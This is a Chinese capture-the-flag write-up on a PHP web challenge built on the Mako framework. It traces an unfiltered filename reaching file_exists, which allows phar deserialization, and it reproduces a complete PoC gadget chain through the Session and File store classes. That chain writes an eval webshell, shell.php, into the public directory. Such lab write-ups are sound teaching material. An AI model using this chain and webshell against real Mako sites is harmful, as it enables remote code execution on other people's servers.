太菜了,被大佬带进决赛了,最后就签个到
环境
密码:1skr
下面部分是我在比赛的时候思考过的
1.开始
页面一进来,十分的清爽,毛都没有,就一个上传文件的东西
随便传点东西,发现是来者不拒,啥都能传,但啥都干不了
访问1.php
只会出现404not found
这是最令人异或的一点
因为题目给了docker,就本地部署一个环境,先进去看看文件都存到了哪里
可以看见,文件并没有被上传到/var/www/html/
这个目录下面
而文件被上传到了/var/www/html/mako/uploads
这个目录下
可以肯定的是,文件上传是整不了活了
2.审计
通过搜索关键词,在mako/app/reources/views/home.tpl.php
里找到到了首页的源码
很明显,这是用模版渲染出来的主页, 图片都是以base64的编码形式传递的,没活整了。
这就很令人苦恼,我当时尝试了一下,使用软链接
直接寄了,没权限,这时候才想起来容器一开始写了一个读取flag的程序
目标也明确了,肯定得想办法执行readFlag
,于是我搜了危险函数,然后是一无所获,要么没这个函数,要么根本无法触发
做到这里,我已经没有思路了,当时想到了反序列化,但是只知道搜unseralize
,结果是毛都没搜到。
我经验太少了,当时没想到用phar
3.复现
在mako/app/controllers/ImagesController.php
文件中
1 2 3 4 5 6 7 8 9
| public function editGet(ViewFactory $view): string { chdir('/var/www/mako/uploads'); $fileName = $this->request->getQuery()->get('filename'); $image = new Image($fileName, new ImageMagick()); $dimensions = $image->getDimensions(); $this->view->assign('fileName', $fileName); $this->view->assign('dimensions', $dimensions); return $view->render('edit'); }
|
可以看到,文件名是不做任何过滤的
而在mako/vendo/mako/framework/src/mako/pixl/image.php
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public function __construct($image, ProcessorInterface $processor) { $this->image = $image;
$this->processor = $processor;
if(file_exists($this->image) === false) { throw new PixlException(vsprintf('The image [ %s ] does not exist.', [$this->image])); }
$this->processor->open($image); }
|
使用了能触发phar
反序列化的file_exists
函数
关键函数找到了,现在找链子吧
搜索__destruct()
,干扰项不多,可以直接开撸
好家伙,我直接好家伙,一条龙服务了属于是qwq
4.攻击
这里搬一手Arr3stY0u战队的poc吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <?php namespace mako\file{ class FileSystem{ } }
namespace mako\session\stores{ use mako\file\FileSystem;
class File{ protected $fileSystem; protected $sessionPath; public function __construct(){ $this->fileSystem = new FileSystem(); $this->sessionPath = '/var/www/mako/public/'; } } }
namespace mako\session{ use mako\session\stores\File;
class Session{ protected $autoCommit; protected $destroyed = false; protected $sessionId; protected $sessionData = []; protected $store;
public function __construct(){ $this->autoCommit = true; $this->destroyed = false; $this->store = new File(); $this->sessionId = 'shell.php'; $this->sessionData = ['a'=>'<?php eval($_POST[1]);?>']; } } }
namespace { $exp = new mako\session\Session(); $phar = new Phar('test.phar',0,'test.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($exp); $phar->addFromString('text.txt','test'); $phar->stopBuffering(); };
|
上传文件
getshell
flag is here
5.总结反思
经验不足,做题不够,欠练